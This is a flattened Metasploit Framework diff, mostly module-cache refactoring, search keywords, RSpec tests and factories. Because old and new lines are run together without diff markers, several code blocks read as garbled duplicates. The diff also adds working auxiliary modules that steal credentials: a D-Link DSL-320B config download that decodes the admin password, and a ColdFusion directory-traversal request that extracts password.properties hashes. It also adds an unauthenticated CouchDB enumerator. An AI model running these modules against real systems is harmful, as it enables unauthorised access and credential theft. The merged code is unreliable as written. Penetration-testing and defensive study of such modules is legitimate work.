# information is a Hash derived from Mdm::ModuleDetail. It includes :modification_time, :parent_path, :type, # information is a Hash derived from Mdm::Module::Detail. It includes :modification_time, :parent_path, :type,
# :reference_name. # :reference_name.
def module_info_by_path_from_database! def module_info_by_path_from_database!
self.module_info_by_path = {} self.module_info_by_path = {}
if framework_migrated? if framework_migrated?
# TODO record module parent_path in {Mdm::ModuleDetail} so it does not need to be derived from file. ActiveRecord::Base.connection_pool.with_connection do
::Mdm::ModuleDetail.find(:all).each do |module_detail| # TODO record module parent_path in Mdm::Module::Detail so it does not need to be derived from file.
# Use find_each so Mdm::Module::Details are returned in batches, which will
# handle the growing number of modules better than all.each.
Mdm::Module::Detail.find_each do |module_detail|
path = module_detail.file path = module_detail.file
type = module_detail.mtype type = module_detail.mtype
reference_name = module_detail.refname reference_name = module_detail.refname
typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name) typed_path = Msf::Modules::Loader::Base.typed_path(type, reference_name)
escaped_typed_path = Regexp.escape(typed_path) # join to '' so that typed_path_prefix starts with file separator
typed_path_suffix = File.join('', typed_path)
escaped_typed_path = Regexp.escape(typed_path_suffix)
parent_path = path.gsub(/#{escaped_typed_path}$/, '') parent_path = path.gsub(/#{escaped_typed_path}$/, '')
module_info_by_path[path] = { module_info_by_path[path] = {
@ -124,6 +135,7 @@ module Msf::ModuleManager::Cache
end end
end end
end end
end
self.module_info_by_path self.module_info_by_path
end end

View File

@ -1386,17 +1386,16 @@ class Core
print_line print_line
print_line "Keywords:" print_line "Keywords:"
{ {
"name" => "Modules with a matching descriptive name", 'app' => 'Modules that are client or server attacks',
"path" => "Modules with a matching path or reference name", 'author' => 'Modules written by this author',
"platform" => "Modules affecting this platform", 'bid' => 'Modules with a matching Bugtraq ID',
"port" => "Modules with a matching remote port", 'cve' => 'Modules with a matching CVE ID',
"type" => "Modules of a specific type (exploit, auxiliary, or post)", 'edb' => 'Modules with a matching Exploit-DB ID',
"app" => "Modules that are client or server attacks", 'name' => 'Modules with a matching descriptive name',
"author" => "Modules written by this author", 'osvdb' => 'Modules with a matching OSVDB ID',
"cve" => "Modules with a matching CVE ID", 'platform' => 'Modules affecting this platform',
"bid" => "Modules with a matching Bugtraq ID", 'ref' => 'Modules with a matching ref',
"osvdb" => "Modules with a matching OSVDB ID", 'type' => 'Modules of a specific type (exploit, auxiliary, or post)',
"edb" => "Modules with a matching Exploit-DB ID"
}.each_pair do |keyword, description| }.each_pair do |keyword, description|
print_line " #{keyword.ljust 10}: #{description}" print_line " #{keyword.ljust 10}: #{description}"
end end
@ -1456,9 +1455,13 @@ class Core
end end
def search_modules_sql(match) # Prints table of modules matching the search_string.
#
# @param (see Msf::DBManager#search_modules)
# @return [void]
def search_modules_sql(search_string)
tbl = generate_module_table("Matching Modules") tbl = generate_module_table("Matching Modules")
framework.db.search_modules(match).each do |o| framework.db.search_modules(search_string).each do |o|
tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ] tbl << [ o.fullname, o.disclosure_date.to_s, RankingName[o.rank].to_s, o.name ]
end end
print_line(tbl.to_s) print_line(tbl.to_s)

View File

@ -0,0 +1,92 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize
super(
'Name' => 'DLink DSL 320B Password Extractor',
'Description' => %q{
This module exploits an authentication bypass vulnerability in DLink DSL 320B
<=v1.23. This vulnerability allows to extract the credentials for the remote
management interface.
},
'References' =>
[
[ 'EDB', '25252' ],
[ 'OSVDB', '93013' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ],
[ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ],
],
'Author' => [
'Michael Messner <devnull@s3cur1ty.de>',
],
'License' => MSF_LICENSE
)
end
def run
vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device")
#download configuration
begin
res = send_request_cgi({
'uri' => '/config.bin',
'method' => 'GET'
})
return if res.nil?
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/)
return if (res.code == 404)
if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/
if res.body !~ /sysPassword value/
print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin")
else
print_good("#{rhost}:#{rport} - Credentials successfully extracted")
end
#store all details as loot -> there is some usefull stuff in the response
loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body)
print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}")
user = ""
pass = ""
res.body.each_line do |line|
if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/
user = $1
next
end
if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/
pass = $1
pass = Rex::Text.decode_base64(pass)
print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'http',
:user => user,
:pass => pass,
:active => true
)
end
end
end
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return
end
end
end

View File

@ -19,8 +19,8 @@ class Metasploit4 < Msf::Auxiliary
The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the The AES-NI implementation of OpenSSL 1.0.1c does not properly compute the
length of an encrypted message when used with a TLS version 1.1 or above. This length of an encrypted message when used with a TLS version 1.1 or above. This
leads to an integer underflow which can cause a DoS. The vulnerable function leads to an integer underflow which can cause a DoS. The vulnerable function
aesni_cbc_hmac_sha1_cipher is only included in the 64 bits versions of OpenSSL. aesni_cbc_hmac_sha1_cipher is only included in the 64-bit versions of OpenSSL.
This module has been tested successfully on Ubuntu 12.04 (64 bits) with the default This module has been tested successfully on Ubuntu 12.04 (64-bit) with the default
OpenSSL 1.0.1c package. OpenSSL 1.0.1c package.
}, },
'Author' => 'Author' =>

View File

@ -0,0 +1,106 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => "ColdFusion 'password.properties' Hash Extraction",
'Description' => %q{
This module uses a directory traversal vulnerability to extract information
such as password, rdspassword, and "encrypted" properties. This module has been
tested successfully on ColdFusion 9 and ColdFusion 10. Use actions to select the
target ColdFusion version.
},
'References' =>
[
[ 'OSVDB', '93114' ],
[ 'EDB', '25305' ]
],
'Author' =>
[
'HTP',
'sinn3r'
],
'License' => MSF_LICENSE,
'Actions' =>
[
['ColdFusion10'],
['ColdFusion9']
],
'DefaultAction' => 'ColdFusion10',
'DisclosureDate' => "May 7 2013" #The day we saw the subzero poc
))
register_options(
[
Opt::RPORT(8500),
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
], self.class)
end
def peer
"#{datastore['RHOST']}:#{datastore['RPORT']}"
end
def run
filename = ""
case action.name
when 'ColdFusion10'
filename = "../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties"
when 'ColdFusion9'
filename = "../../../../../../../../../../../../../../../opt/coldfusion9/lib/password.properties"
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
'encode_params' => false,
'encode' => false,
'vars_get' => {
'attributes.id' => 'it',
'attributes.file' => '../../administrator/mail/download.cfm',
'filename' => filename,
'attributes.locale' => 'it',
'attributes.var' => 'it',
'attributes.jscript' => 'false',
'attributes.type' => 'text/html',
'attributes.charset' => 'UTF-8',
'thisTag.executionmode' => 'end',
'thisTag.generatedContent' => 'htp'
}
})
if res.nil?
print_error("#{peer} - Unable to receive a response")
return
end
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
if rdspass.empty? and password.empty?
# No pass collected, no point to store anything
print_error("#{peer} - No passwords found")
return
end
print_good("#{peer} - rdspassword = #{rdspass}")
print_good("#{peer} - password = #{password}")
print_good("#{peer} - encrypted = #{encrypted}")
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
print_good("#{peer} - password.properties stored in '#{p}'")
end
end

View File

@ -0,0 +1,85 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
},
'Author' => [ 'espreto <robertoespreto[at]gmail.com>' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
OptString.new('USERNAME', [false, 'The username to login as']),
OptString.new('PASSWORD', [false, 'The password to login with'])
], self.class)
end
def run
username = datastore['USERNAME']
password = datastore['PASSWORD']
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'uri' => uri,
'method' => datastore['HTTP_METHOD'],
'authorization' => basic_auth(username, password),
'headers' => {
'Cookie' => 'Whatever?'
}
})
if res.nil?
print_error("No response for #{target_host}")
return nil
end
begin
temp = JSON.parse(res.body)
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
results = JSON.pretty_generate(temp)
if (res.code == 200)
print_good("#{target_host}:#{rport} -> #{res.code}")
print_good("Response Headers:\n\n #{res.headers}")
print_good("Response Body:\n\n #{results}\n")
elsif (res.code == 403) # Forbidden
print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
elsif (res.code == 404) # Not Found
print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
print_error("Response from server:\n\n #{results}\n")
else
print_status("Received #{res.code}")
print_line("#{results}")
end
if res and res.code == 200 and res.headers['Content-Type'] and res.body.length > 0
path = store_loot("couchdb.enum.file", "text/plain", rhost, res.body, "CouchDB Enum Results")
print_status("Results saved to #{path}")
else
print_error("Failed to save the result")
end
end
end

View File

@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
RFC Service, to execute remote commands. This module needs SAP credentials with RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms. successfully on Windows 2008 64-bit and Linux 64-bit platforms.
}, },
'References' => 'References' =>
[ [

View File

@ -39,7 +39,7 @@ class Metasploit4 < Msf::Exploit::Remote
This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP This module abuses the SAP NetWeaver SXPG_COMMAND_EXECUTE function, on the SAP
SOAP RFC Service, to execute remote commands. This module needs SAP credentials with SOAP RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms. successfully on Windows 2008 64-bit and Linux 64-bit platforms.
}, },
'References' => 'References' =>
[ [

View File

@ -8,7 +8,7 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb include Msf::Exploit::RopDb

View File

@ -0,0 +1,9 @@
FactoryGirl.modify do
factory :mdm_module_detail do
ignore do
root {
Metasploit::Framework.root
}
end
end
end

View File

@ -0,0 +1,34 @@
FactoryGirl.define do
factory :mdm_route, :class => Mdm::Route do
netmask { generate :mdm_route_netmask }
subnet { generate :mdm_route_subnet }
#
# Associations
#
association :session, :factory => :mdm_session
end
sequence :mdm_route_netmask do |n|
bits = 32
bitmask = n % bits
[ (~((2 ** (bits - bitmask)) - 1)) & 0xffffffff ].pack('N').unpack('CCCC').join('.')
bits = 32
shift = n % bits
mask_range = 2 ** bits
full_mask = mask_range - 1
integer_netmask = (full_mask << shift)
formatted_netmask = [integer_netmask].pack('N').unpack('CCCC').join('.')
formatted_netmask
end
sequence :mdm_route_subnet do |n|
class_c_network = n % 255
"192.168.#{class_c_network}.0"
end
end

View File

@ -1,22 +0,0 @@
#
# Specs
#
require 'spec_helper'
#
# Project
#
require 'metasploit/framework/database'
require 'msf/core'
describe Msf::DBManager do
include_context 'Msf::Simple::Framework'
subject(:db_manager) do
framework.db
end
it_should_behave_like 'Msf::DBManager::ImportMsfXml'
end

View File

@ -16,6 +16,8 @@ require 'tmpdir'
require 'msf/core' require 'msf/core'
describe Msf::ModuleManager do describe Msf::ModuleManager do
include_context 'Msf::Simple::Framework'
let(:archive_basename) do let(:archive_basename) do
[basename_prefix, archive_extension] [basename_prefix, archive_extension]
end end
@ -28,161 +30,11 @@ describe Msf::ModuleManager do
'rspec' 'rspec'
end end
let(:framework) do subject(:module_manager) do
Msf::Framework.new framework.modules
end end
subject do it_should_behave_like 'Msf::ModuleManager::Cache'
described_class.new(framework) it_should_behave_like 'Msf::ModuleManager::Loading'
end it_should_behave_like 'Msf::ModuleManager::ModulePaths'
context '#add_module_path' do
it 'should strip trailing File::SEPARATOR from the path' do
Dir.mktmpdir do |path|
path_with_trailing_separator = path + File::SEPARATOR
subject.add_module_path(path_with_trailing_separator)
subject.send(:module_paths).should_not include(path_with_trailing_separator)
subject.send(:module_paths).should include(path)
end
end
context 'with Fastlib archive' do
it 'should raise an ArgumentError unless the File exists' do
file = Tempfile.new(archive_basename)
# unlink will clear path, so copy it to a variable
path = file.path
file.unlink
File.exist?(path).should be_false
expect {
subject.add_module_path(path)
}.to raise_error(ArgumentError, "The path supplied does not exist")
end
it 'should add the path to #module_paths if the File exists' do
Tempfile.open(archive_basename) do |temporary_file|
path = temporary_file.path
File.exist?(path).should be_true
subject.add_module_path(path)
subject.send(:module_paths).should include(path)
end
end
end
context 'with directory' do
it 'should add path to #module_paths' do
Dir.mktmpdir do |path|
subject.add_module_path(path)
subject.send(:module_paths).should include(path)
end
end
context 'containing Fastlib archives' do
it 'should add each Fastlib archive to #module_paths' do
Dir.mktmpdir do |directory|
Tempfile.open(archive_basename, directory) do |file|
subject.add_module_path(directory)
subject.send(:module_paths).should include(directory)
subject.send(:module_paths).should include(file.path)
end
end
end
end
end
context 'with other file' do
it 'should raise ArgumentError' do
Tempfile.open(basename_prefix) do |file|
expect {
subject.add_module_path(file.path)
}.to raise_error(ArgumentError, 'The path supplied is not a valid directory.')
end
end
end
end
context '#file_changed?' do
let(:module_basename) do
[basename_prefix, '.rb']
end
it 'should return true if module info is not cached' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
subject.send(:module_info_by_path)[module_path].should be_nil
subject.file_changed?(module_path).should be_true
end
end
it 'should return true if the cached type is Msf::MODULE_PAYLOAD' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path)
subject.send(:module_info_by_path)[module_path] = {
# :modification_time must match so that it is the :type that is causing the `true` and not the
# :modification_time causing the `true`.
:modification_time => modification_time,
:type => Msf::MODULE_PAYLOAD
}
subject.file_changed?(module_path).should be_true
end
end
context 'with cache module info and not a payload module' do
it 'should return true if the file does not exist on the file system' do
tempfile = Tempfile.new(module_basename)
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => modification_time
}
tempfile.unlink
File.exist?(module_path).should be_false
subject.file_changed?(module_path).should be_true
end
it 'should return true if modification time does not match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = (modification_time * rand).to_i
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should_not == modification_time
subject.file_changed?(module_path).should be_true
end
end
it 'should return false if modification time does match the cached modification time' do
Tempfile.open(module_basename) do |tempfile|
module_path = tempfile.path
modification_time = File.mtime(module_path).to_i
cached_modification_time = modification_time
subject.send(:module_info_by_path)[module_path] = {
:modification_time => cached_modification_time
}
cached_modification_time.should == modification_time
subject.file_changed?(module_path).should be_false
end
end
end
end
end end

View File

@ -1168,11 +1168,11 @@ describe Msf::Modules::Loader::Base do
it 'should do nothing if parent_module is nil' do it 'should do nothing if parent_module is nil' do
parent_module = nil parent_module = nil
allow_message_expectations_on_nil # can check that NoMethodError is not raised because *const* methods are
parent_module.should_not_receive(:remove_const) # not defined on `nil`.
parent_module.should_not_receive(:const_set) expect {
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
}.to_not raise_error(NoMethodError)
end end
context 'with namespace_module nil' do context 'with namespace_module nil' do

View File

@ -0,0 +1,108 @@
require 'spec_helper'
require 'msf/core/db_export'
describe Msf::DBManager::Export do
include_context 'Msf::DBManager'
subject(:export) do
described_class.new(workspace)
end
let(:active) do
true
end
let(:workspace) do
FactoryGirl.create(
:mdm_workspace
)
end
context '#extract_module_detail_info' do
let(:report_file) do
StringIO.new
end
subject(:extract_module_detail_info) do
export.extract_module_detail_info(report_file)
end
context 'with Mdm::Module::Details' do
let(:document) do
Nokogiri::XML(report_file.string)
end
let(:module_detail_count) do
2
end
let(:root) do
document.root
end
let!(:module_details) do
FactoryGirl.create_list(
:mdm_module_detail,
module_detail_count
)
end
before(:each) do
report_file.write("<root>")
extract_module_detail_info
report_file.write("</root>")
end
it 'should have module_detail tag for each Mdm::Module::Detail' do
nodes = root.xpath('module_detail')
nodes.length.should == module_detail_count
end
context 'module_detail' do
let(:module_detail) do
module_details.first
end
subject(:module_detail_node) do
root.at_xpath('module_detail')
end
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description'
context '/disclosure-date' do
it 'should have Mdm::Module::Detail#disclosure_date present' do
module_detail.disclosure_date.should be_present
end
it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do
node = module_detail_node.at_xpath('disclosure-date')
Date.parse(node.content).should == module_detail.disclosure_date
end
end
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank'
it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname'
# @todo https://www.pivotaltracker.com/story/show/48451001
end
end
context 'without Mdm::Module::Details' do
it 'should not write anything to report_file' do
extract_module_detail_info
report_file.string.should be_empty
end
end
end
end

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,107 @@
require 'spec_helper'
require 'msf/ui'
require 'msf/ui/console/module_command_dispatcher'
require 'msf/ui/console/command_dispatcher/core'
describe Msf::Ui::Console::CommandDispatcher::Core do
include_context 'Msf::DBManager'
let(:driver) do
mock(
'Driver',
:framework => framework
).tap { |driver|
driver.stub(:on_command_proc=).with(kind_of(Proc))
driver.stub(:print_line).with(kind_of(String))
}
end
subject(:core) do
described_class.new(driver)
end
context '#search_modules_sql' do
def search_modules_sql
core.search_modules_sql(match)
end
let(:match) do
''
end
it 'should generate Matching Modules table' do
core.should_receive(:generate_module_table).with('Matching Modules').and_call_original
search_modules_sql
end
it 'should call Msf::DBManager#search_modules' do
db_manager.should_receive(:search_modules).with(match).and_return([])
search_modules_sql
end
context 'with matching Mdm::Module::Details' do
let(:match) do
module_detail.fullname
end
let!(:module_detail) do
FactoryGirl.create(:mdm_module_detail)
end
context 'printed table' do
def cell(table, row, column)
row_line_number = 6 + row
line_number = 0
cell = nil
table.each_line do |line|
if line_number == row_line_number
# strip prefix and postfix
padded_cells = line[3...-1]
cells = padded_cells.split(/\s{2,}/)
cell = cells[column]
break
end
line_number += 1
end
cell
end
let(:printed_table) do
table = ''
core.stub(:print_line) do |string|
table = string
end
search_modules_sql
table
end
it 'should have fullname in first column' do
cell(printed_table, 0, 0).should include(module_detail.fullname)
end
it 'should have disclosure date in second column' do
cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s)
end
it 'should have rank name in third column' do
cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank])
end
it 'should have name in fourth column' do
cell(printed_table, 0, 3).should include(module_detail.name)
end
end
end
end
end

View File

@ -1,3 +1,5 @@
require 'metasploit/framework/database'
shared_context 'DatabaseCleaner' do shared_context 'DatabaseCleaner' do
def with_established_connection def with_established_connection
begin begin

View File

@ -0,0 +1,23 @@
shared_context 'Msf::DBManager' do
include_context 'DatabaseCleaner'
include_context 'Msf::Simple::Framework'
let(:active) do
true
end
let(:db_manager) do
framework.db
end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or ActiveRecord::Base.connection_pool will raise an
# error.
db_manager.connect(spec)
db_manager.stub(:active => active)
end
end

View File

@ -0,0 +1,23 @@
shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name|
attribute_name = child_node_name.underscore
subject(:child_node) do
module_detail_node.at_xpath(child_node_name)
end
let(:attribute) do
module_detail.send(attribute_name)
end
it "should not have Mdm::Module::Detail##{attribute_name} nil" do
attribute.should_not be_nil
end
it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do
if attribute == false
child_node.content.should be_blank
else
child_node.content.should == attribute.to_s
end
end
end

View File

@ -83,15 +83,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
Builder::XmlMarkup.new(:indent => 2) Builder::XmlMarkup.new(:indent => 2)
end end
before(:each) do
configurations = Metasploit::Framework::Database.configurations
spec = configurations[Metasploit::Framework.env]
# Need to connect or Msf::DBManager#active will be false and
# Msf::DBManager#report_* methods won't create any records.
db_manager.connect(spec)
end
it 'should include methods from module so method can be overridden easier in pro' do it 'should include methods from module so method can be overridden easier in pro' do
db_manager.should be_a Msf::DBManager::ImportMsfXml db_manager.should be_a Msf::DBManager::ImportMsfXml
end end

View File

@ -0,0 +1,49 @@
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword|
context "with #{keyword} keyword" do
let(:search_string) do
"#{keyword}:#{name}"
end
let!(:module_platform) do
FactoryGirl.create(:mdm_module_platform)
end
let!(:module_target) do
FactoryGirl.create(:mdm_module_target)
end
context 'with Mdm::Module::Platform#name' do
let(:name) do
# use inspect to quote spaces in string
module_platform.name.inspect
end
it 'should find matching Mdm::Module::Platform#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.platforms.any? { |module_platform|
module_platform.name == self.module_platform.name
}
}.should be_true
end
end
context 'with Mdm::Module::Target#name' do
let(:name) do
# use inspect to quote spaces in string
module_target.name.inspect
end
it 'should find matching Mdm::Module::Target#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.targets.any? { |module_target|
module_target.name == self.module_target.name
}
}.should be_true
end
end
end
end

View File

@ -0,0 +1,44 @@
shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword|
context "with #{keyword} keyword" do
let(keyword) do
1
end
let(:name) do
FactoryGirl.generate :mdm_module_ref_name
end
let(:search_string) do
"#{keyword}:#{send(keyword)}"
end
before(:each) do
FactoryGirl.create(:mdm_module_ref, :name => name)
end
name_prefix = "#{keyword.to_s.upcase}-"
context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}"
context "with #{context_suffix}" do
let(:name) do
"#{name_prefix}#{send(keyword)}"
end
it 'should match Mdm::Module::Ref#name' do
module_details.count.should > 0
module_details.all? { |module_detail|
module_detail.refs.any? { |module_ref|
module_ref.name == name
}
}.should be_true
end
end
context "without #{context_suffix}" do
it 'should not match Mdm::Module::Ref#name' do
module_details.count.should == 0
end
end
end
end

View File

@ -0,0 +1,60 @@
shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do
it 'should destroy Mdm::Module::Detail' do
expect {
update_all_module_details
}.to change(Mdm::Module::Detail, :count).by(-1)
end
context 'with cached module in Msf::ModuleSet' do
let(:module_set) do
framework.exploits
end
before(:each) do
module_set[module_detail.refname] = Msf::SymbolicModule
framework.modules.send(:module_info_by_path)[module_detail.file] = {
:parent_path => Metasploit::Framework.root.join('modules').to_path,
:reference_name => module_detail.refname,
:type => type
}
end
it 'should create instance of module corresponding to Mdm::Module::Detail' do
module_set.should_receive(:create).with(module_detail.refname)
update_all_module_details
end
it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do
db_manager.should_receive(:update_module_details) do |module_instance|
module_instance.should be_a Msf::Module
module_instance.type.should == module_detail.mtype
module_instance.refname.should == module_detail.refname
end
update_all_module_details
end
context 'with exception raised by #update_module_details' do
before(:each) do
db_manager.stub(:update_module_details).and_raise(Exception)
end
it 'should log error' do
db_manager.should_receive(:elog)
update_all_module_details
end
end
end
context 'without cached module in Msf::ModuleSet' do
it 'should not call update_module_details' do
db_manager.should_not_receive(:update_module_details)
update_all_module_details
end
end
end

View File

@ -0,0 +1,407 @@
shared_examples_for 'Msf::ModuleManager::Cache' do
context '#cache_empty?' do
subject(:cache_empty?) do
module_manager.cache_empty?
end
before(:each) do
module_manager.send(:module_info_by_path=, module_info_by_path)
end
context 'with empty' do
let(:module_info_by_path) do
{}
end
it { should be_true }
end
context 'without empty' do
let(:module_info_by_path) do
{
'path/to/module' => {}
}
end
it { should be_false }
end
end
context '#load_cached_module' do
let(:parent_path) do
Metasploit::Framework.root.join('modules').to_path
end
let(:reference_name) do
'windows/smb/ms08_067_netapi'
end
let(:type) do
'exploit'
end
subject(:load_cached_module) do
module_manager.load_cached_module(type, reference_name)
end
before(:each) do
module_manager.send(:module_info_by_path=, module_info_by_path)
end
context 'with module info in cache' do
let(:module_info_by_path) do
{
'path/to/module' => {
:parent_path => parent_path,
:reference_name => reference_name,
:type => type
}
}
end
it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do
module_manager.send(:loaders).each do |loader|
loader.should_receive(:loadable?).with(parent_path).and_call_original
end
load_cached_module
end
it 'should force load using #load_module on the loader' do
Msf::Modules::Loader::Directory.any_instance.should_receive(
:load_module
).with(
parent_path,
type,
reference_name,
:force => true
).and_call_original
load_cached_module
end
context 'return from load_module' do
before(:each) do
module_manager.send(:loaders).each do |loader|
loader.stub(:load_module => module_loaded)
end
end
context 'with false' do
let(:module_loaded) do
false
end
it { should be_false }
end
context 'with true' do
let(:module_loaded) do
true
end
it { should be_true }
end
end
end
context 'without module info in cache' do
let(:module_info_by_path) do
{}
end
it { should be_false }
end
end
context '#refresh_cache_from_module_files' do
before(:each) do
module_manager.stub(:framework_migrated? => framework_migrated?)
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
end
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered
module_manager.should_receive(:refresh_cache_from_database).ordered
refresh_cache_from_module_files
end
end
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
it 'should update database and then update in-memory cache from the database for all modules' do
framework.db.should_receive(:update_all_module_details).ordered
module_manager.should_receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context 'without framework migrated' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
let(:framework_migrated?) do
false
end
it 'should not call Msf::DBManager#update_module_details' do
framework.db.should_not_receive(:update_module_details)
refresh_cache_from_module_files
end
it 'should not call Msf::DBManager#update_all_module_details' do
framework.db.should_not_receive(:update_all_module_details)
refresh_cache_from_module_files
end
it 'should not call #refresh_cache_from_database' do
module_manager.should_not_receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context '#refresh_cache_from_database' do
def refresh_cache_from_database
module_manager.refresh_cache_from_database
end
it 'should call #module_info_by_path_from_database!' do
module_manager.should_receive(:module_info_by_path_from_database!)
refresh_cache_from_database
end
end
context '#framework_migrated?' do
subject(:framework_migrated?) do
module_manager.send(:framework_migrated?)
end
context 'with framework database' do
before(:each) do
framework.db.stub(:migrated => migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
it { should be_true }
end
context 'without migrated' do
let(:migrated) do
false
end
it { should be_false }
end
end
context 'without framework database' do
before(:each) do
